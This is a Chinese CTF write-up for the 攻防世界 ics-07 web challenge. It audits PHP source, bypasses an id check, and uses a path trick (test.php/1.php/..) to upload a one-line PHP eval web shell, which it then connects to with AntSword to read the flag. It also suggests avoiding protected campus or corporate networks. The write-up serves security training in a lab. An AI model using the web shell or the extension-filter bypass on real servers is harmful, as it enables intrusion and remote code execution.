攻防世界-ics-07

发布于:2025-05-29 ⋅ 阅读:(24) ⋅ 点赞:(0)

进入环境

进入项目管理

点击进行访问

是一堆代码进行审计

<?php
session_start();

if (!isset($_GET[page])) {
  show_source(__FILE__);
  die();
}

if (isset($_GET[page]) && $_GET[page] != 'index.php') {
  include('flag.php');
}else {
  header('Location: ?page=flag.php');
}

如果传入的参数page的值不是index.php,则包含flag.php,否则重定向到?page=flag.php

<?php
if ($_SESSION['admin']) {
  $con = $_POST['con'];
  $file = $_POST['file'];
  $filename = "backup/".$file;

  if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
     die("Bad file extension");
  }else{
       chdir('uploaded');
      $f = fopen($filename, 'w');
      fwrite($f, $con);
      fclose($f);
  }
}
?>

POST提交con和file两个参数

<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
  include 'config.php';
  $id = mysql_real_escape_string($_GET[id]);
  $sql="select * from cetc007.user where id='$id'";
  $result = mysql_query($sql);
  $result = mysql_fetch_object($result);
} else {
  $result = False;
  die();
}

if(!$result)die("<br >something wae wrong ! <br>");
if($result){
  echo "id: ".$result->id."</br>";
  echo "name:".$result->user."</br>";
  $_SESSION['admin'] = True;
}
?>

参考up主@愚公搬代码

需要获取一个id参数, 并且id不为1,且最后一位等于9

floatval 函数用于获取变量的浮点值

?page=flag.php&id=1xx9

上传木马

con=<?php @eval($_POST[cmd]);?>&file=test.php/1.php/..

访问/uploaded/backup/目录,发现上传成功

连接蚁剑

注意:点开代理设置选择不使用代理,电脑连接的网络不要是校园网或者公司网络,因为一般像这种企业级的wifi都会在顶部做一些防护手段来保证安全性。所以可以自己开热点进行连接。

点击测试连接,显示成功,点击添加,右键进入文件管理

cyberpeace{7720e85e876c98f3fb088ebd5dcaff1e}


网站公告

今日签到

点亮在社区的每一天
去签到